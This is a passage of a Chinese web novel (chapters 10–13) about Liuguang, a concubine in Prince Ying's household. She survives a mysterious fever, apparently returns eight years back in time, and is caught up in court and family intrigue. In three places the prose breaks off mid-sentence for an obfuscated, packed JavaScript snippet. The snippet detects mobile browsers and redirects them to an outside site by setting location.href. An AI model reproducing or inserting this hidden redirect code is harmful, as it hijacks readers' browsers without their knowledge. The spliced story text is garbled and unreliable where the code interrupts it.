穿戴好蓑衣蓑帽,霍雄鹰冒着暴雨策马飞骑出城,费老大劲才总算把相国寺的主持大师和性情古怪的神医老头在天蒙蒙亮时请到英王府。 他已经被雨淋得浑身淌水,接过婢女奉上的姜茶饮下,突然想到必须跟晏霁之要份大人情否则没完,又不是他的宠妾更和他没半点关系,凭什么要害他受罪啊?! 霍舒窈还算心疼弟弟,让他回府休息,改成换二哥过来供她差遣。 “病榻上那位就是你结识的新闺蜜?”霍雄鹰边拿巾帕擦水渍边打量姐姐:“你会跟小妾往来就很奇怪了,何况这位流光姨娘可是娼妓出身,你真没被五通神附体吗?” “大姐我已经够烦的别再给我添乱了,她要是真有个好歹,我都不知道该怎么办好?”霍舒窈心里的疑惑蹭蹭往上冒,打量比她小四岁的弟弟好多眼还是觉得他太年轻靠不住:“你去把二哥叫来,我有事情跟他商量。” “哼!”霍雄鹰朝老姐重重嗤声,扔掉擦水渍的巾帕,甩头就往外走。 半个时辰后,霍二爷霍巨浪撑着油纸伞慢条斯理地走进英王府,他周身洋溢风流倜傥的散漫趣味,见到着魔的老妹,还没调侃就被妹子一把拉进墙角落讲悄悄话。 “什么?!!” 事情没听完,霍巨浪惊了惊,无语斥道:“霍舒窈你别看天天下雨就认为太阳会打西边出来好吗?咱家三妹妹灵渠在济善庵礼佛。” “放屁!那是个冒牌货!”霍舒窈气得俏脸涨红,咬牙切齿道:“咱家的祸水是什么容貌,我能认错吗?要不要我拉你到流光姨娘的病榻前好好认认亲堂妹?!” 霍巨浪定定看妹妹许久也没在她脸上和眼神中找到一丝像玩笑捉弄的破绽,吓得跌退步,俊脸青白交替、口干舌燥:“真的,真是咱们的小雀儿?舒窈,这可经不起半丝半毫的错假,否则二叔家可会闹得天塌地陷。 还有姑母,姑母多疼爱灵渠,要是真的,我都不敢想姑母会做什么事;还有祖父祖母,他们那么大岁数怎么能经受得住?这事情要是真的,对我们霍家要塌天的。” “我知道!”霍舒窈憋闷:“不然我能昧良心隐瞒到现在吗?你也不用怀疑流光的身份,我前前后后仔仔细细暗中观察两年多才确定,那张脸蛋绝对没错就是长大后的灵渠,不然我能那么操心她吗?我现在都快把心操碎了我!” 霍巨浪倒吸凉气灌入肺腑冻得他几乎要打冷颤,跌退至墙角根,他背靠在墙壁上,抬手抹把脸冷静:“你怀疑又是二婶在捣鬼?” “不然我告诉你做什么,多个人晓得能有什么好处?不用怀疑是晏霁之的内宅隐私,我已经排除掉。”霍舒窈烦得都想以头撞墙:“怎么办,要不要告诉家里?” 霍巨浪静听屋外雨声哗啦,沉默许久说:“就看大夫们能否救回灵渠的命?能,继续瞒,二哥暗中让那两个假冒货把这十六年占尽霍家的好处连本带利地吐出来再送她们上黄泉路;倘若不能,肯定得告诉二叔。” 霍舒窈拍拍脑袋没想出更好的主意就认同哥哥的处理办法。 11. 第11章 连绵秋雨未断,英王府中的病人也还没救醒,请整个太医署众太医还有大相国寺主持与城外的神医共同给个小妾治病的奇谈已然跃升为京城中最为人津津乐道的逸闻八卦,各种离奇猜测更不绝于耳。 霍桑柔知道有那么多大夫在,她再跑英王府就是添乱,可她忍不住啊;近乎以自己命相逼的决绝得到允准,鸨母红七娘带着她来到英王府前请求通融进府看望流光姨娘。 “在吵闹什么?” 清润的男音突兀响起,打断了府门前杂乱的闹声,两位门房小哥看见来人连忙给世子爷问候再说明情况;霍桑柔转过身,看见对主仆,顿时猜到这位世子爷的身份。 门檐下,站在前的男人肩披雪白丝缎披风,披风下一身浅紫镶金边华袍,腰间穗绦上系着块圆形羊脂白玉;他的面貌宛如美玉精雕细琢而成,整个人瑰丽俊雅又自带股飘然疏离的高贵之感,不愧京畿贵胄们评价他乃世间灼灼其华的锦绣公子。 晏霁之温和明净的眼眸半含风流,细看时又会感觉他的明澈与风流仿佛都是种假象,黑湛湛的双眸犹如蒙在烟雾缭绕之中窥不见其底更辨不出其思。 “王妃既然不准你们看望,何故还要吵闹徒惹主家生厌?” 霍桑柔如遇救星般快走上前两步,毫无预兆地跪地请求:“我是您家流光姨娘的亲妹妹,姐姐危在旦夕,我实在心急,求世子爷开恩让我见见姐姐。” “亲妹妹?”晏霁之问:“同胞姐妹吗,为何流光从未与我提过?” “因为我还身在风尘,姐姐承您恩德不敢再给您添麻烦更不敢给王府蒙羞因此隐瞒下了我们的姐妹关系,姐姐是打算等我们攒到银两给我也赎身以后再告诉世子爷您。”霍桑柔答出鸨母替她编好的说辞便继续请求让她进府见姐姐。 晏霁之沉吟道:“亥时,王府西角门。” 霍桑柔愣了愣才听懂什么意思,连连道谢,被鸨母红七娘拉着走时她眼底还沁着泪光。 世子爷接过油纸伞往府内走,跟在他身侧的长随自动落后警戒两个门房切莫乱嚼舌根。 事前得知二儿今日回京,英王晏墉特意留在府中,书房外的禀告声传来,他正在兴致高扬地挥毫泼墨,随口吩咐让世子进来,头没抬,笔也没停。 晏霁之是嫡长子没错,但他父亲娶妻前已经有庶长女庶长子,因此他行二;他走到低奢厚重的黑檀木书案前,垂眸看向未完的即兴之作,喊声爹。 “坐吧,进宫见过陛下了,黄河的水患泛滥控制了?” “英王府自掏腰包填十二万两白银能控制不住吗?国库年年入不敷出,朝廷划拨十六万两白银治水患安置灾民,户部竟连六万两的零头都拿不出,是不是再过几年连京畿官员们的俸禄都发不出了?” “赋税多入太上皇的私库,陛下也只能能省则省。”英王晏墉放掉紫毫,撩袍入座,训道:“举国唯一的异姓王府又握有实权太招眼,你非要拿自家填窟窿办好差事就能得陛下信重吗?把差事办砸岂会不更妥当?为父教导过多少遍要藏拙。” 晏霁之回怼:“非要让我自拙到被庶长兄欺压到头上、父亲才满意吗?” 英王一噎,顺顺气转入新议题:“你母亲透漏明年陛下将册封的贵妃娘娘会出自佟家,她总不至于无的放矢,陛下的考量莫非能认为佟家敢与霍家明争暗斗?” “孩儿已经查清楚,怂恿霍蓁蓁母女觊觎后位就出自佟家;虽然即使没人去怂恿,她们母女也可能会对后位生出想法。”晏霁之牵牵唇,淡漠的语调偏偏更像嘲讽:“向皇帝建议册封位贵妃辖制霍家平衡后宫应该也离不开始作俑者,虽然只是我的猜测。” “呵!”英王晏墉冷笑:“看来你这外祖家的胃口不仅是越来越大,伎俩也越发龌龊。” 一场秋雨一场寒,萧瑟的枯黄混入霏霏雨丝点落草叶丛,丝凉秋风耍点小顽皮,斜风吹打水珠在半空中打圈偏投入温暖的脖颈间,浸润的寒气终于叫人觉醒,原来已是深秋。 晏霁之取手绢擦擦溅水处,斜抬油纸伞望向这场已连下将近一月的秋雨,驻足凝视片刻,他才撑好伞继续迈步,迈过二门跨进王妃的主院问候过母亲,他再去流光小筑。 “流光到底得什么病这样严重?” 管事妈妈详细禀告完毕,晏霁之沉吟半响转向霍舒窈,似笑非笑:“谢谢你这么为我的妾室操心,想要什么回报?”他能不知这位这一年多来搞的小动作吗?他睁一只眼闭一只眼,她就敢明目张胆了。 “咳、咳咳,”霍舒窈莫名气短赔笑,壮壮气势逞辩:“不、不用,我怜香惜玉,你家姨娘生得太美貌,要是变成红颜薄命多可惜?再说救人一命胜造七级浮屠,而且大家都是亲戚,份内事,不用跟我客气。” “那你劳累多日是否该回家歇歇了?”晏霁之顺口道:“否则因为我的姨娘害你累病,就算是亲戚我也不能不与你客气。” 霍舒窈有心想抗争最终还是憋屈同意,晏霁之目送她出屋,抬腿迈向东梢间的内卧,走到病榻前落座,注视两瞬床帐中女人卧病沉睡的容颜,抬起手碰碰她的额头。 “怎么竟会如此滚烫?大夫们把脉,没说姨娘被这高烧烧坏吗?” “禀世子爷,太医们和神医都未曾提过。”贴身婢女朱楼答道:“想来姨娘她应当还能支撑得住,全城名医都在,必定能救醒姨娘,世子爷宽心。” “大相国寺的主持念空大师还在府里吗?” 得到肯定答案,晏霁之稍作迟疑就赶去前院念空主持与张神医共同客居的小院,他到时他们两位正在磋商最新的医治方法,他简单寒暄番即提出疑惑。 “老头我也特别想不通,身体烫得像被火烧,这么猛的烈症谁承受得住?偏偏她就能,从脉象看那病患的骨骼脏腑好得很根本没受损还真就只是高烧不退的小病。” 张神医补充道:“老头我是不甘心想要把能用得上的办法全试遍,但前两天就有预感,告诉你也没啥,我猜你这小妾的病只能靠她自己熬,熬得过,她就能醒。” 晏霁之疑惑更甚:“自己熬?什么重病会无药可医却能凭自己熬?莫非神医是指流光她没有生病而是被妖邪入侵吗?” “你晓不晓得自己这小妾的身世?”张神医老眼中精光乍现,肯定道:“你这小妾的出身绝对不简单,找到她的父母也许能找到病症和解法。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459203|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身世?”晏霁之不可思议,看向念空大师,老主持目光比海深邃:“这场雨下得真久,刚入秋时老衲常夜观星象,可惜近日看不见了。” 电闪雷鸣咆哮吓得幼童啼哭不止,暴雨凄风狂作能撼大树卷大石,今夜的黑暗仿佛被关押在地牢底层的猛兽要冲破铁牢,浸在水漫遍地的国都城寂静如旷野。 挡雨的油纸伞被狂风吹得伞盖翻起几欲脱离手掌,霍桑柔拉过好几次都又被吹翻,干脆把伞收起抱在怀中,她也不知为何要抱在怀里可能是因为害怕而想抓些东西让自己镇定点。 跟随引路的小厮走进流光小筑,她满脸水珠,长发和衣裳彻底湿透,在堂屋中刚站定,她脚踩的蔷薇花开地毯就被滴滴答答的雨水给浸湿弄脏了。 值夜的朱楼迎过来,手上捧着套干净衣裙,微微屈膝道:“姨娘的衣裳,世子爷没发话,奴婢不能拿;这是奴婢自己的秋衣,姑娘您见谅。” 霍桑柔忙道谢,想到什么,急忙把自己手腕戴的玉镯和发髻上的珠钗全都摘掉送过去;朱楼稍作推辞就收下,含笑道:“姑娘快换衣裳吧,可别着凉了;还有您只有半个时辰,请您别让奴婢们难做。” “好好,我知道、我知道的。”霍桑柔再谢通,接过这套干净的衣裳快步去净房换衣服,换过衣裳拧掉头发的水渍,她小跑到病榻前,终于看见躺在床里苍白沉睡奄奄一息的姐姐,她险些哭出声来;抬手抹把眼睛,握起姐姐的纤手被灼烧的滚烫吓得心脏狠狠跳了跳。 昏暗的烛光摇曳,映在碧纱窗上的人影寂寥;屋外正在被吞噬天地的力量肆虐,凄厉的吼声从广袤的苍穹缝隙中钻出又刺进坚硬的地岩深处,人与万物都那么渺小。 霍桑柔抱紧姐姐的手臂,压抑哭道:“姐姐你醒过来好不好?只要你能醒,我再也不闹、我什么都听你的,我发誓我一定不再追查害我们的仇家,就算你要让我带小祐离开京城,我也乖乖听话,无论什么事我都会听话的,只要姐姐你别抛下我。 姐姐你醒过来啊,你告诉我你会没事的。当年娘死后安葬,你才十二岁都能带桑柔逃出那些坏人的监管,这十多年你经历那么多苦难都能熬过来,这回也挺得过对不对?姐姐,你别丢下桑柔,四年前你丢魂似的重病场以后不是答应过不会再吓我,今后什么苦难遭任何罪都能承受得住,姐姐你别骗我呀……” 半时辰的限制到,朱楼放轻脚步走进里间提醒她得离开了,霍桑柔抬手臂抹把眼泪鼻涕,哀声恳求能不能让她留到她姐姐醒来再离开? “送姑娘出府的小厮已经在候着,请姑娘别让奴婢们难做;否则深夜惊扰世子爷歇息,对姨娘可不好;您牵挂姨娘更该为姨娘着想,莫欢姑娘说对吧?” 霍桑柔张张唇只能应对,只能再三请托对方照顾好她的姐姐后恋恋不舍地往外走。 里间的烛光愈发暗淡,即将燃尽的蜡烛发出哔声轻响,靠后墙壁的衣橱突然从内开启,晏霁之从衣橱中走出,迈开腿走到病床前,喃喃疑惑:“身世?你的身世还能有何不寻常?” 朱楼近前禀告人已送走,挑剔的世子爷吩咐:“给姨娘换身寝衣,被褥也换掉。” 一夜暴雨至天明未减其势。 12. 第12章 倚栏听秋雨,常言‘怎一个愁字了得’,连月秋雨不绝令天地如坠水雾朦胧中,京畿百姓们又何止是个愁字,会闹水灾淹没家园需得迁徙逃命的恐慌都在不经意间滋生。 茶楼酒馆对英王府的谈资被冲淡,府中流光小筑的氛围则日渐沉重,晏霁之每每触碰她滚烫如若烈焰灼烧的身体时都难以置信她怎会承受至今无恙,亦得怀疑她能否再醒来? 种种能用的诊治方法试过,大相国寺主持念空大师终付叹息:“老衲与众医者已尽人事,病患生死只能凭天命。” 霍舒窈吓得险些要摔:“念空大师您和神医也是要放弃救治吗?您别看她只是个小妾就不愿意尽心啊,您和神医若是再放弃救治,流光姨娘可就要没命了呀。” “施主言之差矣,老衲与众位医者都已经竭尽全力施救病人,奈何无能。” 霍巨浪替妹妹的措辞不当向老主持赔礼道歉,再相求他们最后试把被张神医打断:“老头我要是本事能救醒病人还用得着你们求吗? 实话说吧,老头我活六十多岁都没见过这种疑难,想救也没本事;还有不用再找大夫,有没有大夫医治都没啥差别,熬不熬得过这场劫数、能不能醒来全看病人自己的造化。” “凭造化靠自己熬?”听天由命吗?霍巨浪实在难以苟同要再相求时又被晏霁之打断:“好,多谢众位连日来费苦心施救,我略备了薄礼以表心意,还望莫要嫌弃。” “世子、世子,姨娘醒了,姨娘醒了!” 急促的喊声直直闯进高阔的屋宇,一名十二三岁的小婢女跑到后院世子居所的堂屋前,她脸颊和发梢挂着水滴,气喘吁吁道:“朱楼姐姐派奴婢来禀告,姨娘醒后又往屋外跑,现还在雨中徘徊,奴婢们劝不动,请世子爷快去看看。” 堂屋内众人皆惊了惊,随即或多或少涌起喜悦,用心期盼的事终于实现怎会没有高兴,只是听到后半段话又令人不由得皱眉,霍舒窈心急快一拍接话:“我这就去看看!” 她快步往外走,走到门槛前被道凉飕飕的声音截住:“流光醒来之后应该还没换衣裳,那么在雨中寝衣被淋湿透,除我和婢女之外,旁人应该不适合此时去看她。” 霍舒窈被迫硬生生停住脚步,憋屈地想怼他:难道我是男人吗,能有何不合适?! 晏霁之冲他们各位略颔首请稍作等候,迈步往外走顺便在跨出门槛时收到个白眼;顺其自然地无视掉,他接过婢女奉上的油纸伞撑起即踏进雨中。 流光小筑就在世子居所隔壁,晏霁之很快走到,绕过垂花门就看见不远处被婢女围拢但只自顾仰头望天空的女人,他下意识停住片刻打量她遍才继续往前走。 “流光、流光?你在胡闹些什么,大夫们刚把你救醒就跑雨中淋雨,不想要命了吗?” 奴婢们纷纷给世子爷问安。 霍灵渠犹似在迷惘在神智不清中置若罔闻,淅淅沥沥的雨珠划过她精致的眉梢,滴成水串淌过她白玉无瑕的脸庞,她仿若未觉,落在晏霁之眼中就是副失魂模样。 他伸手握她的手腕,已没有灼烧的滚烫反而肌肤微凉,他加重力道将她手腕握疼,她缓缓收回仰望天际的目光投向眼前人,眼神似混沌又似清明,喃喃启唇:“晏霁之?” “还以为你高烧退后醒来又出神智毛病,幸好还认得人。”晏霁之状似欣慰,吩咐朱楼:“给姨娘准备热水沐浴洗漱。” “我记忆混乱了,乱得理不清过往、不知今夕何夕,有种虚幻的错觉,想淋雨清醒些。”霍灵渠抬手接水珠,明明是副痴痴傻傻的模样却又仿佛心事重重。 “昏睡多日是会让记忆紊乱,调养好就好,你莫要多想。”晏霁之要带她进屋被抵触,霍灵渠迷糊道:“你叫丫鬟们都退下,我跟你确认几件事,就在雨里说话。” 晏霁之只好让围拢的奴婢们全部退至屋檐下,撑伞上前步帮她遮雨,就听她问:“今年真是正徽四年吗?太上皇在授康二十八年主动禅位给五皇子越王,对吗?” 还以为她郑重其事要确认什么,记忆乱到常识都糊涂了吗?晏霁之叹气:“对!” “如果太上皇没有禅位,今年应该是授康三十二年,”霍灵渠想不通为何会出现错乱,她都分不清究竟是梦境还是现实:“我现在二十四岁,对吗?” 晏霁之继续应对。 “我们前年就开始同床而眠?”霍灵渠神态语调特神奇,她记得很清楚要分榻过足六年,英王府被夺爵抄家以后,他带她住到京郊外的竹屋、他们俩才同床,怎么会冒出片记忆变成她跟他才一年多就…… “你有何疑虑?”语气活像难道你不愿意尽做妾室的本分而另有想法不成? “呃…没、没有,”就是想不通这些变故,霍灵渠抬手拍拍脑袋,暂且抛开混乱的思绪,恳求道:“我有急事想即刻出府,你别阻拦我成吗?” “你可知自己病得多重吗?”晏霁之收起和颜,语气微冷斥道:“整座太医署搬进王府又请大相国寺主持念空大师和张神医共同给你诊治才救回你的命,差一点你可就没命了,好不容易退掉高烧醒来,不好好卧床调养还想胡闹些什么?!” 霍灵渠犹豫该如何解释她清楚自己的病症、只要她能熬过醒来就能没事,晏霁之已经握紧她的手腕带她往屋檐下走去,她咬唇:“我真有事情要出府,我心里着急。” “何事?”晏霁之问,霍灵渠顿时噎住,眨眼间走进廊檐下,她被婢女们簇拥进屋要服侍她盥洗沐浴,她抬手按按鲜活跳动的心房,希冀而又害怕扑空,怕这场时光回溯只是她的臆想梦境的担忧到底让她没坚持,情愿缓缓,确实眼前所有都是真实的再出府找妹妹。 英王府中普通姨娘配置四个奴婢伺候、一位独占或者二三位姨娘同住座小院,每月有五两月例银子,按中馈的账算,府里养个姨娘一年用度绝不会超过四百两银子。 流光姨娘娼妓出身乃贱籍,比起良家出身的姨娘们还要差,但她在府里的用度连英王的两位侧妃都比不上:英王世子晏霁之自己掏银两养宠妾,流光小筑雕梁画栋花木扶疏,园中奴婢们要多少有多少,燕窝鱼翅给她当饭吃,绫罗绸缎金玉珠宝更多不胜数。 这不,霍灵渠泡好热水澡换身烟霞色真丝寝衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459204|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦干长发,刚拥被靠坐在床头,婢女就递上盅燕窝汤;她捧起白玉瓷盅饮尽燕窝汤,迟疑问:“世子还在吗?” 朱楼边放床帐纱幔边禀告:“在,世子爷请神医过来再给姨娘诊脉,正在明间说话。” 霍灵渠轻哦,银红的软烟罗挡住她看向外的视线,她主动伸手臂穿过床帐搭在床沿,随即感到有块丝帕盖在手腕上;她靠着引枕想,应该不是臆想的梦境,她真的回到了八年前,可为何是八年前而非十二年前? 她祈祷那么多遍让时光回溯到十二年前她的罪孽酿成前,为何没起效用呢? 好在霍灵渠没多久便释怀,总归他们成功了,她更熬过劫数醒来,八年前她妹妹桑柔还活着,爹爹也没落个惨烈收场,上天垂怜已经很厚待她。 婢女把她的手腕放回床帐里,她无甚知觉,陷在自己的思绪中沉思接下来该怎么办? 晏霁之挂起纱幔,看到他这位宠妾果然又是副痴傻模样,握疼她的手腕,喊女人回神:“张神医隔着道纱幔问你醒来后可有何不适,你有听见吗?” “啊?”霍灵渠愣了愣,诚实道:“没听见呀,你们有对我说话吗?” “你醒来之后是容易痴傻犯呆还是患了走神会魂游太虚甚至耳朵会间歇聋掉的毛病?”晏霁之坐到床头,笑问:“大夫给你诊脉却丝毫不在意自己的病情,我送客出府,间隔大半时辰再返,期间奴婢们问你是否要摆膳也没回应,你在想什么?” “在回忆,梳理过往混乱的记忆。”霍灵渠倒没扯谎,何况她清楚这场病要靠她自己熬,任何医术高超的大夫都治不了,自然不需在意大夫如何给她诊治,但确实该致谢:“你说有几位大夫在我昏睡期间给我治病来着,我该备份薄礼略表谢意的。” 晏霁之温声:“我已经给他们每位备礼致谢过,饿吗,要不要叫奴婢摆膳?张神医交代,你刚清醒还需调养,但你身子骨还好更未损伤脏腑,调养半月左右就能病愈,病愈前饮食要清淡,不能碰荤腥油腻的吃食。” 霍灵渠摇头:“喝过盅燕窝,不饿。” “要再躺下睡会儿吗?”晏霁之继续问,霍灵渠仍摇头说不,他正式追究:“奴婢们说你会引发高烧病重昏迷正是淋雨所致,姨娘像是入了魔怔,突然跑进暴雨中,她们拦不住更拉不动你回屋直到你淋雨昏倒,为何故啊?” 光阴重塑、回到八年前,她刹那间不敢置信就跑到屋外验证眼前之景是真实活生生的,根本不在意屋外是否狂风暴雨就顾着激动,当时的情况,看到个池塘她都能往下跳。 可实情如何坦诚?霍灵渠蹙眉,琢磨该怎样编造应付才比较可信。 “想好了吗?”晏霁之看她这德行就知宠妾要扯谎或者用美人计。 没!霍灵渠抿抿唇,往床沿挪,靠倒在他怀里,弱声呢喃:“妾身做噩梦了。” 你可真会敷衍我!晏霁之气笑:“你先调理,明晚我再过来,但愿你已经编好说辞,否则我送本图册给你,还能靠混乱但没有忘掉的记忆猜到会是什么图册吧?” 霍灵渠在脑海中找找记忆,立时脸颊爆红。 13. 第13章 夜空细密雨丝飘洒,飘落进朵大的美人蕉花瓣中凝聚成形态各异的水珠跳跃滚落,几缕烛光透过窗牗缝隙流泻而出,不经意间给深秋的雨夜增添份柔暖。 烛火摇曳,布置暖色调的屋中映出安详,价值不菲的玳瑁梳妆台悄悄泛起碎金光辉,橘红挂帘在朦胧中如梦似幻,唯见床头纱幔轻抚人影婆娑。 “妾身承世子恩德多年安稳富贵,然妾身还有自幼相依为命的妹妹在风尘中飘零,您对妾身恩重,我不敢再给您添麻烦因此从未向您提起过,只盼自己攒够银两给妹妹赎身。 当日噩梦中惊醒,忆起早逝的娘亲痛骂我只顾自己富贵享乐却不顾亲妹死活,字字珠玑,这点微不足道的尊严难道还能比亲妹重要吗,想来何尝不是我自私?我百感交集,无颜继续若无其事,便想跑进雨中任暴雨肆虐,最好能令我大病场稍减罪过。” 霍灵渠倚在要说服的男人怀中,如墨秀发垂在腰间,一袭丝滑的桃粉寝衣聊胜于无,她未施粉黛犹如清水出芙蓉,我见犹怜:“昨日醒来,妾与您提过有急事想出府,正是妾心急想见妹妹,还望世子允准让我尽快出府一趟。” 晏霁之沉默会儿垂眸看她,撞进美人柔情似水而又凄婉哀愁的脉脉眼波中,他不为所动地提疑惑:“我买你时你未曾梳拢,四万两白银的赎身价已是行首中绝无仅有的高价。 莫行首已经接过客,她的赎身价必定不需万两银;我每年给你置办的珍宝首饰不少,你一年的用度没个上万两也有七八千两白银,你当掉些珠宝首饰会凑不出吗?” “妾身惭愧,贱籍出身竟然过得比大少奶奶还富贵奢华;妾是世子买的,珍宝首饰更是您恩赐,倘若妾身背着您偷摸当掉您赐的财物岂非与盗贼无异?” “你与裴氏比作甚?你是我的宠妾,裴氏乃晏明潜之妻,男人都不同还能有何可比?”晏霁之考虑道:“莫行首既然是你的亲妹妹,留在风尘中确实不妥,若是传出风声更难看,你择日清点你的库房凑银两给她赎身。” 霍灵渠满身动容泪盈于睫,柔肠百转:“世子爷大恩,妾身无以回报。” 对此,晏霁之只嗯一声,搂住宠妾准备安寝;霍灵渠连忙委婉推拒:“妾身还在病中,您若在妾身屋中留宿,传进王妃耳中,只怕王妃又要生气了。” “我仅是夜宿又不是要你尚未病愈即陪我云雨。”晏霁之抬手理理她柔滑的青丝,倒不在意多提件事:“我刚外出办差,王妃又派人来搜刮你的妆匣?” 一个又字摆明身为母亲搜刮亲儿宠妾的妆匣这种荒唐事已然不新鲜,霍灵渠温婉浅语:“您对妾的宠爱实在逾越,王妃也是为整肃王府纲纪。” “真亏得流光秉性沉静不爱热闹、平素深居简出,屋阁摆设低奢简约,否则我给你添置多少绫罗绸缎珠宝玉器就能被我那位母亲搬走多少。”晏霁之自嘲:“若只是孝敬母亲也罢,偏是填王妃娘家的无底洞,也难怪父亲厌恶。” 霍灵渠也知内情,英王妃很是心向娘家,偏偏晏霁之自幼养在祖辈膝下与母亲不亲近,与他母亲的娘家甚至还不如与祖母的娘家人往来亲切。 他获封世子后得到王府按惯例分配给世子的产业,他的祖父祖母过世前也有留给他财宝,他的库房堆金积玉;英王妃想据为己有,断断续续闹过好多年才消停,母子间嫌隙横生,晏霁之给母亲的孝敬还逐年递减惹得他娘更不满,每年私底下都要闹几回。 “或许是因为王妃看别家孙儿绕膝而心生羡慕,府中的孙辈们毕竟不是嫡枝,王妃盼您娶媳妇好多年了,兴许世子早日娶妻给王妃生个嫡亲孙儿就好。” 晏霁之顺势问:“你自己呢,从未想过给我生儿育女?” 霍灵渠眉眼生俏美若繁星璀璨明珠生辉,亦如星辰明珠般泛着冷意:“妾身低微卑贱,不敢玷污世子的血脉。” 晏霁之扬唇而笑未置可否,拥住美人亲热;霍灵渠措不及防,适应好才娇声求道:“妾身心中实在挂念妹妹,明晚我想出府看她。” “床笫间,流光说错话了。” 霍灵渠抿抿红唇,低眉缱绻:“妾身还在病中,望世子爷怜惜。”她语毕,男人凑近她的红唇暧昧:“我旷两个多月,爱妾难道不怜惜我吗?放心,不会叫水让丫鬟们知晓。” “那么明晚我能出府看妹妹吗?”对于晏霁之有多么挑剔,霍灵渠很清楚,拿床帏中事来跟他谈交易能令他恶心得索然无味。 晏霁之深看她眼,恍若一眼凝视间让旖旎全消,他靠回床头,淡淡道:“你多调养几日,身子骨好些,我再带你出府,今夜随你铺两床被褥还是要避到软榻里,安置吧。” 碧纱窗头剪影成双,屋外花瓣自怜水逐流,斜风细雨不知吹落深夜几多风雨情。 清早凉意侵袭,晏霁之月白长袍外多罩件披风,撑伞跨出流光小筑,还没走到前院就被王妃身旁的大丫鬟品墨急匆匆追赶喊住。 “王妃吩咐,流光姨娘在病中却不思养病反而狐媚霸占世子,伤及王府风化,王妃已下令责罚流光姨娘掌嘴二十小惩大诫,特令奴婢通禀世子。” “这场秋雨连下四十多天还没有放晴,京畿的百姓人人自危害怕家园被淹要举家搬迁,王妃的心思可真宽,还有闲暇管儿夜宿何处。”话锋一转,晏霁之倏然凌厉:“倘若流光今日掉半根头发,我就把王妃的表侄女杖打四十大板。” 那位是王妃做主给世子爷纳的贵妾钟姨娘,世子当然能责罚杖打;品墨头皮发麻,迎上世子看她如看半个死人的目光,知道不能再多言否则她真能变成半个死人。 世子爷的脾性,顺应他心意时很和煦,偶尔还会跟奴婢们打趣;可违逆他心意时简直比刑部大狱还要冷硬可怕恐怖,任是王妃都不能迫亲儿退让半厘。 流光姨娘有多美,王妃就有多么不待见,没出错都要鸡蛋里挑骨头,偏偏总拿捏不得,世子爷护得密不透风让亲娘都没辙;这些年王妃能做的也就只剩搜刮流光姨娘的妆匣,给儿多纳年轻鲜嫩的妾室和通房了。 而责罚,王妃下过命令后得让世子爷答应才能派人动手,否则执行命令的奴婢全得遭殃,还是能让奴婢们一只脚踏进鬼门关的重罚;若是王妃硬要处置,世子就敢为宠妾和亲娘斗,能斗到所有奴婢全部血肉模糊,王妃再派命令,奴婢们谁敢接呀? 品墨叹口气,撑着油纸伞折返主院回禀,没意外地惹王妃大怒;这都是习惯的事,奴婢们哄王妃息怒都做的得心应手顺溜极了。 深秋萧萧正当时,凄风苦雨像一直在循环弹奏的琵琶怨曲,哀婉愁怨引离人心碎,即使高居在世间权柄顶峰的巍峨皇城也在绵绵雨丝中多生怅然。 “三日内雨能停,道长没打诳语?” 如今京畿谁人能不为雨愁?诲仰道长竟然断言这场连绵秋雨何时做停,皇帝神情莫测,宣政殿内坐在的各位臣僚同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459205|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样都神色微妙。 诲仰道长鹤发童颜、骨相奇佳,一身青灰道袍穿在他身倒真像个翩然物外的得道仙翁,他乃太上皇禅位前钦封的国师,常年陪伴在太上皇左右,此次觐见皇帝正是为扰民的雨水:“陛下尽可放心,若三日内雨未停,贫道必自焚请罪。” “国师、言重!”皇帝慢两拍缓缓送出四字,简单的四字深意难思,皇帝如松口气般问:“国师既有神通,可否为朕测算出明年正月朕将册封的贵妃身在何方?” 与座的众位朝臣贵胄神态更玄妙,诲仰道长气定神闲:“陛下至孝,欲请太上皇意,太上皇言道此为陛下册封贵妃,自当任凭陛下心意;然陛下心意未定,贫道又岂能卜得出贵妃娘娘会身在何方?” “朕对贵妃的心意未定吗?”皇帝似问非问似疑非疑,狭长的凤眸扫过殿中众朝臣,问他们可有何想法建议?没听到个像样的答案,他点名叫:“晋王以为如何?” 晋王是太上皇第七子,皇帝老爹要禅让退位时他自己刚当爹,正摩拳擦掌想争储就被盆寒冰浇得透心凉,好在除了被爹挑中继位的老五外,兄弟们心情差不多,因而心态还行,对现今坐宝座的皇帝哥哥表现恭敬,至少在人前基本挑不出错。 “禀皇兄,臣弟以为英王乃国家栋梁功勋卓著,英王的四姑娘品貌端庄秀外慧中,或可担得起皇兄明年册封贵妃娘娘的备选之一。”晋王利落地给个明确对象。 英王府与霍家可是姻亲,英王没在殿中,大人们或直白或隐晦地看向英王世子晏霁之,皇帝也就顺势点名问问他的想法。 